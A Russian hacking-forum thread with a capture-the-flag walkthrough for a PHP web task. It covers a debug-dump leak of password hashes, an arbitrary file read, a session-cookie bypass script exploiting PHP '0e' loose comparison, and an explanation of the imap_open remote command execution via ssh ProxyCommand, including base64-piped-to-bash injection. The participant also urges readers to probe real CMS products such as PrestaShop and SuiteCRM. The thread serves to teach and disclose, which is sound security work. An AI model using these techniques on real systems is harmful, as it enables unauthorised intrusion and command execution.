[спущено с LVL8] RCE Task #3

Discussion in 'Уязвимости' started by crlf, 12 Jun 2018.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    684
    Likes Received:
    1,519
    Reputations:
    460
    • @anonymous0 -
    • @anonymous1 -
    • @ZodiaX -
    • @vulnbe -
    • @rrock -
     
    #1 crlf, 12 Jun 2018
    Last edited: 19 Aug 2018
    1. crlf

      crlf Green member

      Joined:
      18 Mar 2016
      Messages:
      684
      Likes Received:
      1,519
      Reputations:
      460
      Подсказка для первого флага не нужна. Он находится сходу, по крайней мере, люди читающие этот пост должный находить подобное в первые 5 минут максимум!. Не говоря уже про акунетики шмакунетики, которыми никто не запрещает пользоваться, если по другому никак.
      И проблема не в сложности, а в отсутствии активности, так как жесть начинается на взятии 5го флага. По моим оценкам из античатовцев таск ковыряли 2-3,5 человека. Из старших групп, скорее всего вообще никто, тут уж ничего не поделать, мое дело предложить и я знал что так будет :)
      Хинты только с третьего флага.
       
      Veil likes this.
      1. Twoster

        Twoster Members of Antichat

        Joined:
        20 Aug 2008
        Messages:
        287
        Likes Received:
        402
        Reputations:
        159
        Пятый таск мне всю голову уже выеб((
        Я тебя ненавижу(
         
        crlf likes this.
        1. crlf

          crlf Green member

          Joined:
          18 Mar 2016
          Messages:
          684
          Likes Received:
          1,519
          Reputations:
          460
          • Скулей нет
          • Брутить и сканить ничего не нужно, гугол плюс внимательность, всё на поверхности
          • На каждый пук изучаем сорцы, любые, которые можно посмотреть
           
          1. SooLFaa

            SooLFaa Members of Antichat

            Joined:
            17 Mar 2014
            Messages:
            530
            Likes Received:
            499
            Reputations:
            154
            1 флаг даже меньше 5 минут занял
            UPD: да и второй недолго, позже продолжу, интересно
             
            _________________________
            #5 SooLFaa, 21 Jun 2018
            Last edited: 21 Jun 2018
            crlf likes this.
            1. crlf

              crlf Green member

              Joined:
              18 Mar 2016
              Messages:
              684
              Likes Received:
              1,519
              Reputations:
              460
              • Хеши привилегированных юзеров не брутабельны
              • Всему виной бородатый баг или фича
              • Есть тонкая грань между брутфорсом и байпасом
              • Пых свежий, нуллбайты и вытеснения лесом
               
              #6 crlf, 24 Jun 2018
              Last edited: 24 Jun 2018
              grimnir and Veil like this.
              1. crlf

                crlf Green member

                Joined:
                18 Mar 2016
                Messages:
                684
                Likes Received:
                1,519
                Reputations:
                460
                Нежданчиком врывается @Felis-Sapiens, 3 флага за раз, класс! :)
                 
                1. crlf

                  crlf Green member

                  Joined:
                  18 Mar 2016
                  Messages:
                  684
                  Likes Received:
                  1,519
                  Reputations:
                  460
                  @rrock порвал таск, 5 флагов сходу, flawless victory!
                   
                  1. crlf

                    crlf Green member

                    Joined:
                    18 Mar 2016
                    Messages:
                    684
                    Likes Received:
                    1,519
                    Reputations:
                    460
                    Прошло 78 дней, которых вполне достаточно для решения тасков подобной сложности, поэтому, с вашего позволения (нет), буду подводить итог :)

                    Спасибо всем кто учавствовал! Отдельный респект затащившим: @Twoster, @rrock, @Felis-Sapiens (да, не взял 5й флаг, но если бы получил киллер хинт, то затащил бы с лёгкостью, поэтому зачёт). Вы просто космос, уважуха гайзы, вы хенкеры и ниипёт!

                    Ниже представлен примерный ход прохождения, который описан по мере возможности, так как половину того, что хотелось бы написать уже стёрлось из памяти. Поэтому если не брезгуете читать обрывочные суждения и местами словесный понос, милости прошу :D


                    ⚑ 1. {SKL_IT_WAS_EASY}

                    Часто при анализе чёрным ящиком используется фаззинг параметров. Передача различных комбинаций или изменение типа передаваемых параметров, может повлечь за собой нестандартное поведение исследуемого приложения. Помимо получения различных аномалий для дальнейшего изучения, порой можно получить много информации о системе, в случаях, когда разработчики забывают отключить инструменты для отладки или сообщения об ошибках.

                    Для завладевания первым флагом, достаточно изменить тип:
                    Code:
                    POST / HTTP/1.1
                    Host: 80.211.180.74
                    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
                    Accept: */*
                    Content-Type: application/x-www-form-urlencoded
                    
                    username[]=&password=&login=Login
                    

                    Что в свою очередь повлечёт выдачу отладочного сообщения:
                    Code:
                            We've got 500, something went wrong... <!-- Debug: <br> <pre>Array
                    (
                        [_GET] =&gt; Array
                            (
                            )
                    
                        [_POST] =&gt; Array
                            (
                                [username] =&gt; Array
                                    (
                                        [0] =&gt; 
                                    )
                    
                                [password] =&gt; Array
                                    (
                                        [0] =&gt; 
                                    )
                    
                                [login] =&gt; Login
                            )
                    
                        [_COOKIE] =&gt; Array
                            (
                            )
                    
                        [_FILES] =&gt; Array
                            (
                            )
                    
                        [users] =&gt; Array
                            (
                                [skillprogrammer] =&gt; Array
                                    (
                                        [userid] =&gt; 1000001
                                        [password] =&gt; 805e33bbec4739bc0da4b6eeb3720c6fa9f0947921d4cf8996c3929275c8f89353c925983ff7c4c78e998f3803d0ddcccc6616d47e05af05caa4ebeaf848814f
                                    )
                    
                                [annie] =&gt; Array
                                    (
                                        [userid] =&gt; 1000002
                                        [password] =&gt; 3a2a5e118c11478d971f896554ac4fc012c5bfbc3f17f8fd20942f81a2dd064a992f6cd2f4856991bb77684c98f44edd291ba17d3cb2fa439588142e36874181
                                    )
                    
                                [joe] =&gt; Array
                                    (
                                        [userid] =&gt; 1000003
                                        [password] =&gt; 7d014b30e1e9611c210298bddc6135d5530f4cfc7b94208f82554c56bbe19c5a8a373ba3284b79c36ade8adc9c1a49449c1360e210abf119ea237f102cfe815a
                                    )
                    
                                [donald] =&gt; Array
                                    (
                                        [userid] =&gt; 1000004
                                        [password] =&gt; 8cb17d4622c3d9ddc925bc43942bd2be383b30aa2dc3c6a23ef84f0e6cd7c2365378f8e4d098e79675569670b5ab6e9ea3f8af12ad559443ffb6dcd8ee5981b3
                                    )
                    
                            )
                    
                        [check] =&gt; 
                        [login] =&gt; 1
                        [user] =&gt; 0
                        [_SERVER] =&gt; Array
                            (
                                [USER] =&gt; www-data
                                [HOME] =&gt; /var/www
                                [HTTP_CONTENT_TYPE] =&gt; application/x-www-form-urlencoded
                                [HTTP_CONTENT_LENGTH] =&gt; 35
                                [HTTP_ACCEPT] =&gt; */*
                                [HTTP_USER_AGENT] =&gt; Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
                                [HTTP_HOST] =&gt; 80.211.180.74
                                [REDIRECT_STATUS] =&gt; 200
                                [SERVER_NAME] =&gt; _
                                [SERVER_PORT] =&gt; 80
                                [SERVER_ADDR] =&gt; 80.211.180.74
                                [REMOTE_PORT] =&gt; 17229
                                [REMOTE_ADDR] =&gt; 89.232.69.92
                                [SERVER_SOFTWARE] =&gt; nginx/1.10.3
                                [GATEWAY_INTERFACE] =&gt; CGI/1.1
                                [REQUEST_SCHEME] =&gt; http
                                [SERVER_PROTOCOL] =&gt; HTTP/1.1
                                [DOCUMENT_ROOT] =&gt; /var/www/html
                                [DOCUMENT_URI] =&gt; /index.php
                                [REQUEST_URI] =&gt; /
                                [SCRIPT_NAME] =&gt; /index.php
                                [CONTENT_LENGTH] =&gt; 35
                                [CONTENT_TYPE] =&gt; application/x-www-form-urlencoded
                                [REQUEST_METHOD] =&gt; POST
                                [QUERY_STRING] =&gt; 
                                [SCRIPT_FILENAME] =&gt; /var/www/html/index.php
                                [PATH_INFO] =&gt; 
                                [FCGI_ROLE] =&gt; RESPONDER
                                [PHP_SELF] =&gt; /index.php
                                [REQUEST_TIME_FLOAT] =&gt; 1535567054.7217
                                [REQUEST_TIME] =&gt; 1535567054
                                [0] =&gt; Array
                     *RECURSION*
                            )
                    
                        [GLOBALS] =&gt; Array
                     *RECURSION*
                    )
                    </pre><br><iframe src='phpinfo.php'> {SKL_IT_WAS_EASY} --> 
                    
                    Забавный факт, мембер @vulnbe прислал вариант, который небыл учтён, так как прохождение закладывалось линейным, учитывались многие факторы, но одни из них проскочил. Пусть это получилось не преднамеренно, но всё же, не менее показательно. Отсутствие параметра username, так же влечёт аналогичные последствия :)

                    Меня несколько раз упрекали в том, что данный таск надуманный. Если взглянуть на современные фреймворки и какую информацию они выдают в отладочном режиме:

                    [​IMG]

                    Я, в свою очередь, могу с уверенностью поставить под сомнение адекватность этих упрёков. Чего только стоит раскрытие локальных путей на одном из сайтов конторы предлагающей пентесты. И являющейся лидером по оказанию подобных услуг в своём регионе. Казалось бы, безобидный пустой POST, что может пойти не так ? :)



                    ⚑ 2. {SKL_FILE_DISCLOSURE_IS_AWESOME}

                    Изучив полученную отладочную информацию, можно заметить наличие логинов пользователей и хешированные пароли. Проведя нехитрый анализ алгоритма хеширования или просто загуглив, выяснится что это SHA512 и для нескольких из них можно легко получить значения, так как пароли являются слабыми.


                    Попробовав любую пару, получаем в ответ You not authorized to access that tool, sorry :'(. По каким-то причинам доступа нет, возможно, у пользователя мало прав или он был ограничен в использовании. Но тут уже что-то новое и это хорошо. Заглядываем в HTML и внимательно изучим ответ:
                    HTML:
                    ...
                    <link rel="stylesheet" type="text/css" href="?css=style.css,user.css">
                    ...
                    

                    vs, без аутентификации:
                    HTML:
                    ...
                    <link rel="stylesheet" type="text/css" href="style.css">
                    ...
                    

                    Для пользовательского интерфейса используется иная загрузка CSS стилей. Здесь в пору попробовать изучить эту подачу. Убеждаемся, что оба файла доступны в корневой директории хоста. Далее пытаемся отстраивать различные конструкции с использованием комбинаций для эксплуатации Directory Traversal, которые могли бы заставить читать файл стилей из текущей директории или выше (./, ../).
                    При этом, держа в голове или записывая все варианты поведения и сопоставляя их между собой. Долго ли, коротко ли, должны прийти к неким выводам, что файлы читаются только из текущей директории и только при наличии .css. Поэтому такая конструкция, вполне удовлетворяет:
                    Code:
                    http://80.211.180.74/?css=style.css,user.css/functions.php
                    

                    Этот код:
                    PHP:
                    function maybeCSSRequest(){
                        if(!isset(
                    $_GET['css'])) return;
                        
                    $css '';
                        
                    $files array_map('trim'explode(','$_GET['css']));
                        foreach(
                    $files as $file)
                            
                    $css .= (strpos($file'.css') !== false file_get_contents(basename($file)) : '');
                        
                    header('Content-type: text/css');
                        exit(
                    $css $css 'Hacking attempt!');
                    }

                    Который по причине ошибки валидации, позволяет читать произвольные файлы из текущей директории. Будь там регулярка типа /css$/ или сравнение расширений по вайт листу, то подобный финт ушами не прокатит.

                    А вот и несколько уязвимостей подобного типа: 1, 2 (не надуманно! :))



                    ⚑ 3. {SKL_AUTH_BYPASSED_LIKE_A_PRO}

                    Получение читалки на желаемой цели, наверное один из лучших вариантов развития собыйтий при продвижении вглубь.

                    Вычитываем все возможные файлы и приступаем к изучению. Если не заметили до этого, то по коду видим, что аутентифицированному пользователю присваивается кука rememberSession, которая впоследствии "запоминает" пользователя для приложения. Так как в наличии есть ещё пара юзеров с неизвестными паролями, которые, возможно, имеют более высокий уровень доступа, вполне уместно разобраться с механизмом сессий:
                    PHP:
                    function generateSession($userid$javaScript='N'$cookieEnabled='N'){
                        
                    $javaScript strtoupper($javaScript);
                        
                    $cookieEnabled strtoupper($cookieEnabled);
                        if(
                    $javaScript != 'N' && $javaScript != 'J'$javaScript 'N';
                        if(
                    $cookieEnabled != 'N' && $cookieEnabled != 'C')    $cookieEnabled 'N';    
                        
                    $iSession =
                        
                    $protectionBlock =
                        
                    $sessionBlock =
                        
                    $userBlock =
                        
                    $timeBlock '';
                        
                    $sessionBlock strtoupper(uniqid('p'true));
                        
                    $sessionBlock str_replace(array('-','@'), rand(0,9), $sessionBlock);
                        
                    $userBlock str_pad($userid8'0'STR_PAD_LEFT);
                        
                    $protectionBlock getHash($userBlock.$sessionBlock.getSalt());
                        
                    $timeBlock getTimeOffset();
                        
                    $iSession $javaScript.$cookieEnabled.$sessionBlock.$userBlock.$timeBlock;
                        
                    $cut1 substr($iSession,0,4);
                        
                    $cut2 substr($iSession,4,8);
                        
                    $cut3 substr($iSession,12,2);
                        
                    $cut4 substr($iSession,14,6);
                        
                    $cut5 substr($iSession,20,5);
                        
                    $cut6 substr($iSession,25,5);
                        
                    $cut7 substr($iSession,30,5);
                        
                    $cut8 substr($iSession,35,3);
                        
                    $iSession =  $cut2.$protectionBlock{12}.$cut4.$protectionBlock{2}.$cut3.$protectionBlock{30}.$cut8.$protectionBlock{25}.
                                      
                    $cut7.$protectionBlock{20}.$cut6.$protectionBlock{17}.$cut5.$protectionBlock{8}.$cut1;
                        return 
                    strtoupper($iSession);
                    }

                    function 
                    getSessionArray($iSession){
                        
                    $expire_time 5;
                        
                    $session_array = array();    
                        
                    $timeCheck getTimeOffset();
                        
                    $cut2 substr($iSession,0,8);
                        
                    $cut4 substr($iSession,9,6);
                        
                    $cut3 substr($iSession,16,2);
                        
                    $cut8 substr($iSession,19,3);
                        
                    $cut7 substr($iSession,23,5);
                        
                    $cut6 substr($iSession,29,5);
                        
                    $cut5 substr($iSession,35,5);
                        
                    $cut1 substr($iSession,41,4);
                        
                    $pcut1 $iSession{8};
                        
                    $pcut2 $iSession{15};
                        
                    $pcut3 $iSession{18};
                        
                    $pcut4 $iSession{22};
                        
                    $pcut5 $iSession{28};
                        
                    $pcut6 $iSession{34};
                        
                    $pcut7 $iSession{40};
                        
                    $protectionBlock $pcut1.$pcut2.$pcut3.$pcut4.$pcut5.$pcut6.$pcut7;
                        
                    $iSession $cut1.$cut2.$cut3.$cut4.$cut5.$cut6.$cut7.$cut8;
                        
                    $iSession strtoupper($iSession);
                        
                    $sessionBlock substr($iSession,2,24);
                        
                    $userid substr($iSession,26,8);
                        
                    $timeBlock substr($iSession,34,4);
                        
                    $javaScript $iSession{0};
                        
                    $cookie_enabled $iSession{1};
                        
                    $test_protection_hash strtoupper(getHash($userid.$sessionBlock.getSalt()));
                        
                    $test_protection $test_protection_hash{12}.$test_protection_hash{2}.$test_protection_hash{30}.$test_protection_hash{25}.$test_protection_hash{20}.$test_protection_hash{17}.$test_protection_hash{8};
                        if (
                    $test_protection != $protectionBlock || !is_numeric($timeBlock)) return false;
                        
                    $time_dif $timeCheck $timeBlock;
                        
                    $session_expired false;
                        if (
                    $time_dif >= $expire_time || $time_dif 0$session_expired true;
                        
                    $session_array['protection'] = $protectionBlock;
                        
                    $session_array['javascript'] = $javaScript;
                        
                    $session_array['session'] = $sessionBlock;
                        
                    $session_array['userid'] = intval($userid);
                        
                    $session_array['expired'] = $session_expired;
                        
                    $session_array['minutes_remaining'] = ($expire_time $time_dif || $expire_time $time_dif $expire_time) ? $expire_time $time_dif;
                        
                    $session_array['base_minutes'] = $timeBlock;
                        
                    $session_array['cookie'] = $cookie_enabled;
                        return 
                    $session_array;
                    }

                    Для генерации нужен всего лишь userid пользователя и он у нас есть. Но попробовав сгенерировать, сталкиваемся с проблемой. Для создания сессионной строки используется соль, лежащая в файле /var/opt/inc/salt, который недоступен, по причине ограниченности читалки.

                    На этом моменте вполне можно сдаться, аргумент весомый - отсутствие главного поваренного ингредиента. Но ведь нельзя просто так взять и забить когда есть исходники?! :)

                    Учитываем одно неизвестное и продолжаем, смотрим проверку или извлечение данных из сессионной строки. Выкинув всё лишние, находим главный участок валидации который нас отбраковывает:
                    PHP:
                    function getSessionArray($iSession){
                    ...
                        if (
                    $test_protection != $protectionBlock || !is_numeric($timeBlock)) return false;
                    ...
                    }

                    или, к примеру:
                    PHP:
                    function getSessionArray($iSession){
                    ...
                        if (
                    '1F13EF8' != 'B998342' || !is_numeric('1384')) return false;
                    ...
                    }

                    Сравнивается два блока, переданный нами и блок сгенерированный на сервере. Первым делом, на ум приходит брутфорс неизвестного нам значения. Семь символов в диапазоне A-Z0-9 дают 268 000 000 вариантов, один из них позволит обойти механизм проверки без знания соли. Но, во первых, это долго, во вторых трудно эксплуатируемо через интернет, так как один неудачный коннект или не предполагаемый респонс сервера, будут ломать всю картину.

                    Можно набросать качественный код с реализацией всевозможных исключений, ошибок коннекта и прочих неприятностей, но это никак не отменяет первой причины. Нам не годится, но имеет право на жизнь.

                    Поэтому погуглив на тему "PHP уязвимости сравнения", "ошибка сравнения PHP" или что-то в этом духе, находим множество материалов посвящённых данной теме. Суть которых заключается в том, что при сравнении != или ==, происходит преобразование типов, такое сравнение ещё называют "нестрогим", и если строка начинается с "0e", а после нее следуют только цифры, для PHP это будет float значение. Поэтому:
                    PHP:
                    var_dump('0e462097431906509019562988736854' == '0');
                    var_dump('0e462097431906509019562988736854' == '0e689757431906419875624564334234');

                    bool(true)
                    bool(true)

                    В своё время это была довольно крутая находка, но всё же не совсем лёгкая в эксплуатации, так как всё-равно приходится перебирать кучу вариантов. Но что касается нашего кейса, где всего 7 символов, этот вариант как нельзя кстати. Гененрируя различные сессии, со статичными значениями $protectionBlock и $userid, мы точно попадём в подобное сравнение или как написал @Felis-Sapiens - "В среднем будет успешна каждая (16^7 / 10^5) ~ 2684 попытка. Мне потребовалось 3709".

                    PoC:
                    PHP:
                    <?php
                    error_reporting
                    (0);

                    $userid = (isset($argv[1]) ? $argv[1] : die(PHP_EOL.'userid required'.PHP_EOL.'Use: php '.basename(__FILE__).' 1234567'.PHP_EOL.PHP_EOL));

                    while(!
                    $good){
                        
                    $iSession generateSession($userid);
                        print 
                    $iSession.PHP_EOL;
                        
                    $good = (!strpos(request($iSession), 'project'));
                        
                    $attempts++;
                    }


                    print 
                    PHP_EOL.PHP_EOL.'Valid rememberSession for '.$userid.' is: '.$iSession.PHP_EOL.'Guessed for '.$attempts.' attempts'.PHP_EOL.PHP_EOL;

                    function 
                    request($iSession){
                            
                    $opts = array('http' =>
                            array(
                                
                    'method'  => 'GET',
                                
                    'header'=>'Cookie: rememberSession='.$iSession.';',
                                
                    'user_agent' => 'Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0',
                                
                    'timeout' => 60,
                                
                    'ignore_errors' => true
                            
                    )
                        );

                        
                    #return @file_get_contents('http://tmp/task/', false, stream_context_create($opts));
                        
                    return @file_get_contents('http://80.211.180.74/'falsestream_context_create($opts));
                    }

                    function 
                    generateSession($userid){
                        
                    $timeBlock rand(1111,9999);
                        
                    $protectionBlock '0E12345';
                        
                    $sessionBlock strtoupper(uniqid('p'true));
                        
                    $userBlock str_pad($userid80STR_PAD_LEFT);
                        
                        
                    $iSession 'N'.'N'.str_replace(array('-','@'), rand(0,9), $sessionBlock).$userBlock.$timeBlock;
                        
                        list(
                    $cut1$cut2$cut3$cut4$cut5$cut6$cut7$cut8) = array(substr($iSession,0,4), substr($iSession,4,8), substr($iSession,12,2), substr($iSession,14,6), substr($iSession,20,5), substr($iSession,25,5), substr($iSession,30,5), substr($iSession,35,3));
                        
                        return 
                    strtoupper($cut2.$protectionBlock{0}.$cut4.$protectionBlock{1}.$cut3.$protectionBlock{2}.$cut8.$protectionBlock{3}.$cut7.$protectionBlock{4}.$cut6.$protectionBlock{5}.$cut5.$protectionBlock{6}.$cut1);
                    }
                    ?>

                    Результат выполнения:

                    Bonus! Для тех кто дочитал :) Если понравился этот баг, предлагаю самостоятельно расковырять 0day в плагине BlogVault. После байпаса, станет доступен RCE без авторизации.



                    ⚑ 4. {SKL_OH_NO_FPD_HAPPENED_RCE_IS_COMING}

                    Сплоит написали, теперь есть возможность стать любым пользователем в системе. После успешного применения, видим перед собой некое альфа приложение, которое позволяет подключаться к произвольному почтовому сервису средствами IMAP и читать новые письма.

                    Исходников этого функционала у нас пока нет, по причине отсутствия нужного префикса, который как и соль лежит там где взять не получается. Во время извлечения предыдущего флага, вполне можно заметить рядом закомментированный инпут:
                    HTML:
                    <!-- <input type="checkbox" name="idebug" checked=""><br> ...
                    

                    Пробуем добавить параметр в запрос, учитывая что чекнутый input является значением on, и отправляем невалидные данные:
                    Code:
                    POST / HTTP/1.1
                    Host: 80.211.180.74
                    Cookie: rememberSession=B870EA820820.84E4F10772000183901004629005NNP5
                    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                    Accept-Language: en-GB,en;q=0.5
                    Referer: http://80.211.180.74/
                    Content-Type: application/x-www-form-urlencoded
                    
                    iserver=sdasd&ilogin=asdasd&ipassword=asdasd&idebug=on&check=Get
                    

                    Если всё получилось, то увидим сообщения вида:

                    Пых выдал ворнинг, а мы получили наш префикс "int3rnal_us3_0nly". Читаем файл и флаг наш!



                    ⚑ 5. {SKL_I_LUV_PHP_IMAP_AND_RCE}

                    Изюминка квеста, король вечера, Remote Command Execution, 0day, разрыв пуканов и всё-всё-всё, но не сегодня :)

                    В связи со сложившимися обстоятельствами, баг, послуживший материалом для создания этого задания, будет освящён на ежегодной конференции по ИБ - Kaz'Hack'Stan, которая состоится 5 октября 2018.

                    Докладывать будет @Twoster. Он же готовит подробную презу с нюансами, покрытием, причинами и следствием этой уязвимости, которых здесь, скорее всего, небыло бы.

                    Поэтому ждём, пинаем Твоста в ТГ, чтоб не бакланил и как следует пропиарил Античат на профильном мероприятии!


                    P.S. Не стесняйтесь, дополняйте, критикуйте и обсуждайте. Всем бобра :D
                     
                    1. Twoster

                      Twoster Members of Antichat

                      Joined:
                      20 Aug 2008
                      Messages:
                      287
                      Likes Received:
                      402
                      Reputations:
                      159
                      Спасибо за отличный таск и оказанную честь представлять тебя на конференции)
                      Постараюсь не посрамить честь античата))
                       
                      erwerr2321 and crlf like this.
                      1. BabaDook

                        BabaDook Well-Known Member

                        Joined:
                        9 May 2015
                        Messages:
                        1,063
                        Likes Received:
                        1,559
                        Reputations:
                        40
                        Каретка классные таски делает. Ещё раз, респект.
                         
                        erwerr2321 and crlf like this.
                        1. crlf

                          crlf Green member

                          Joined:
                          18 Mar 2016
                          Messages:
                          684
                          Likes Received:
                          1,519
                          Reputations:
                          460
                          Сорцы на Github (мы теперь модные).

                          https://github.com/antichat/L8-RCE-3
                           
                          #12 crlf, 23 Oct 2018
                          Last edited: 23 Oct 2018
                          1. Twoster

                            Twoster Members of Antichat

                            Joined:
                            20 Aug 2008
                            Messages:
                            287
                            Likes Received:
                            402
                            Reputations:
                            159
                            Друзья, всем привет!
                            Каретка меня уже скоро убьет, поэтому пишу разбор пятого таска)

                            1) Все мы знаем как выглядит стандартный вызов imap_open в php. Примерно так:

                            PHP:
                            $imap imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX'$_POST['login'], $_POST['password']);

                            Как мы видим, в функцию мы передаём имя хоста, порт, флаги и пару логин:пароль.
                            Полный список флагов можно найти на официальной странице этой функции http://php.net/manual/ru/function.imap-open.php

                            [​IMG]
                            2) Нас интересует один флаг:
                            Начнем с того, что сама функция imap_open не является функцией самого ядра php. Функция является обёрткой для функции из библиотеки imap-2007f. Эта библиотека разработана в Вашингтонском Университете. Как видно из названия, библиотека была разработана еще в 2007 году, и последняя актуальная версия была изменена в 2011 году, и носит версию f.
                            Короч, мы уже осознаём, что баге больше 10 лет.

                            Возвращаемся к флагу /norsh.

                            Библиотека imap содержит в себе функционал для установки преавторизованной сессии.
                            Что это значит?
                            Библиотека перед коннектом к указаному серверу и порту решает проверить, а вдруг мы там привилегированный пользователь. И пытается приконнектится с указаным логином и паролем по rsh или ssh к хосту, и запустить там rimapd.
                            В исходниках библиотеки это выглядит так:

                            PHP:
                            #ifdef SSHPATH            /* ssh path defined yet? */
                              
                            if (!sshpathsshpath cpystr (SSHPATH);
                            #endif
                            #ifdef RSHPATH            /* rsh path defined yet? */
                              
                            if (!rshpathrshpath cpystr (RSHPATH);
                            #endif
                              
                            if (*service == '*') {    /* want ssh? */
                                            /* return immediately if ssh disabled */
                                
                            if (!(sshpath && (ti sshtimeout))) return NIL;
                                            
                            /* ssh command prototype defined yet? */
                                
                            if (!sshcommandsshcommand cpystr ("%s %s -l %s exec /etc/r%sd");
                              }
                                            
                            /* want rsh? */
                              
                            else if (rshpath && (ti rshtimeout)) {
                                            
                            /* rsh command prototype defined yet? */
                                
                            if (!rshcommandrshcommand cpystr ("%s %s -l %s exec /etc/r%sd");
                              }
                              else return 
                            NIL;        /* rsh disabled */
                            Как мы видим из сорцов, сначала мы проверяем указан ли SSHPATH, если не указан, то проверяет RSHPATH и пытается подключиться к нему.

                            Ищем в сорцах что это за RSHPATH и SSHPATH.

                            a) SSHPATH судя по сорцам формируется из файла /etc/c-client.cf
                            PHP:
                            /* dorc() options */

                            #define SYSCONFIG "/etc/c-client.cf"
                            Ищет в этом файле строку set ssh-path
                            PHP:
                            /* Process rc file
                             * Accepts: file name
                             *        .mminit flag
                             * Don't use this feature.
                             */
                            void dorc (char *file,long flag)
                            ...
                              
                            mail_parameters (NIL,SET_SSHCOMMAND,(void *) k);
                                else if (!
                            compare_cstring (s,"set ssh-path"))
                            Но или лыжи не едут, или я в плюсах тугой (а так и есть). Но у меня не удалось воспроизвести ситуацию, чтобы был коннект по ssh. Хотя файл он читает, я проверил)
                            Короч, это задел на будущее всем желающим, еще есть куда ресёчить. Идём дальше.

                            b) RSHPATH
                            Если посмотреть в makefile, который расположен в src/osdep/unix, то мы для каждой системы семейства unix видим что-то вроде
                            3) Преавторизованная сессия
                            как мы помним из кода выше, вся жара происходит в функции
                            tcp_aopen. Забавно, что это будет работать только в линупсах.
                            А вот почему:

                            PHP:
                            TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
                            {
                              return 
                            NIL;      /* always NIL on Windows */
                            }
                            PHP:
                            TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
                            {
                              return 
                            NIL;      /* always NIL on DOS */
                            }
                            PHP:
                            TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
                            {
                              return 
                            NIL;      /* no authenticated opens on Mac */
                            }
                            Итак, что мы имеем по итогам?
                            - Вызывается преавторизованная сессия только в линуксе
                            - Путь к RSH указан хардкорно в makefile, а к ssh не указан и вернее всего не укажется. Как минимум потому что права на запись в /etc/ только у root. Да и не сработало чёт.

                            Идём дальше. Посмотрим что вообще происходит с RSH в 2к18:
                            RSH в BSD Unix появился как часть пакета rlogin в 1983 году. 35 лет назад

                            На сегодняшний день:
                            RHEL-like: rsh = not found
                            Debian-like: rsh -> ssh
                            Arch Linux: rsh = rsh
                            FreeBSD: rsh = rsh (deprecated)


                            4) Подготовка мозгов к эксплуатации уязвимости.
                            Мы уже можем предположить, что мы можем влиять на системный вызов, который запускает rimapd. Как минимум мы передаём туда хостнейм.
                            Кстати, вызов выглядит так:
                            Не буду даже вдаваться в подробности вызова rsh, потому что он обрезан больше чем мусульманский еврей.
                            Сразу обратим внимание на системы семейства Debian. В них отсутствует rsh, он просто линкуется в ssh. Он то нам и нужен.

                            [​IMG]

                            Я собрал небольшую статистику по серверам, и вот что вышло (по баннерам web-сервера):
                            Ubuntu - 2743
                            Windows Server - 1254
                            Debian - 909
                            CentOS - 821
                            UNIX - 306
                            Gentoo - 150
                            FreeBSD - 103

                            5) Изучаем маны ssh
                            Если почитать маны ssh, то можно увидеть такой интересный момент
                            Мы можем передавать опции при вызове ssh, а среди этих опций есть очень забавная ProxyCommand. Что она делает? Выполняет команду на текущем хосте, перед подключением к серверу.

                            Ты ведь уже понял, да? Ну скажи что понял?

                            Теперь то точно понял?

                            6) А мы не только RCE-шим, но еще и bypass-им

                            [​IMG]
                            Нам никак не мешают отключенные системные функции в php, потому что наше rce с помощью ProxyCommand проходит вообще вне php, отдельным процессом, который вызывает библиотека, а не интерпретатор. Такие дела.

                            7) Вызов RSH -> SSH. Парсинг аргументов.
                            На этом моменте я уже устал печатать и напишу кратко.
                            Аргументы парсятся по пробелам, а флаги по слешам. Нам нужно обойти оба.
                            Пробелы обходим с помощью $IFS$(), а слеши с помощью echo base64decodedstring==|base64 -d| bash

                            8) PWN3D!
                            Сломаем-ка PrestaShop для примера:

                            [​IMG]

                            Ловим бекконект:
                            [​IMG]

                            9) Что рекомендую посмотреть?
                            Я конечно ни на что не намекаю, но я бы на твоем месте, %username%, уже побежал ковырять например:

                            instantcms
                            HostCMS
                            e107_2
                            prestashop
                            SuiteCRM
                            SugarCRM
                            И возможно что-то еще)

                            Я кончил.

                            Спасибо crlf за охуенный таск

                            Видео доклада с конференции Kaz'Hack'Stan (клик на начало доклада или перемотайте на 6:15):

                             
                            #13 Twoster, 23 Oct 2018
                            Last edited by a moderator: 23 Oct 2018
                            topthing, Alexsize, vulnbe and 13 others like this.
                            1. BabaDook

                              BabaDook Well-Known Member

                              Joined:
                              9 May 2015
                              Messages:
                              1,063
                              Likes Received:
                              1,559
                              Reputations:
                              40
                              Поздравляю хвост.
                               
                              1. BigBear

                                BigBear Escrow Service Staff Member Гарант - Escrow Service

                                Joined:
                                4 Dec 2008
                                Messages:
                                1,801
                                Likes Received:
                                922
                                Reputations:
                                862
                                Ссылки на презентации материалов (в том числе доклада по этой теме) - https://mega.nz/#F!Fx5RDKwA!5_9AHQxRpk233nSx-eXP0Q
                                 
                                _________________________
                                eminlayer7788 and joelblack like this.
                                1. Alexsize

                                  Alexsize Fail

                                  Joined:
                                  17 Sep 2005
                                  Messages:
                                  1,770
                                  Likes Received:
                                  1,221
                                  Reputations:
                                  704
                                  Огонь же
                                   
                                  1. crlf

                                    crlf Green member

                                    Joined:
                                    18 Mar 2016
                                    Messages:
                                    684
                                    Likes Received:
                                    1,519
                                    Reputations:
                                    460
                                    UPD
                                    • CVE-2018-19518
                                    • Patch
                                    • Metasploit module
                                     
                                    1. BabaDook

                                      BabaDook Well-Known Member

                                      Joined:
                                      9 May 2015
                                      Messages:
                                      1,063
                                      Likes Received:
                                      1,559
                                      Reputations:
                                      40
                                      Так это ты зарепортил или нет ?
                                       
                                      1. crlf

                                        crlf Green member

                                        Joined:
                                        18 Mar 2016
                                        Messages:
                                        684
                                        Likes Received:
                                        1,519
                                        Reputations:
                                        460
                                        Нет, сообщество :)
                                         
                                        1. crlf

                                          crlf Green member

                                          Joined:
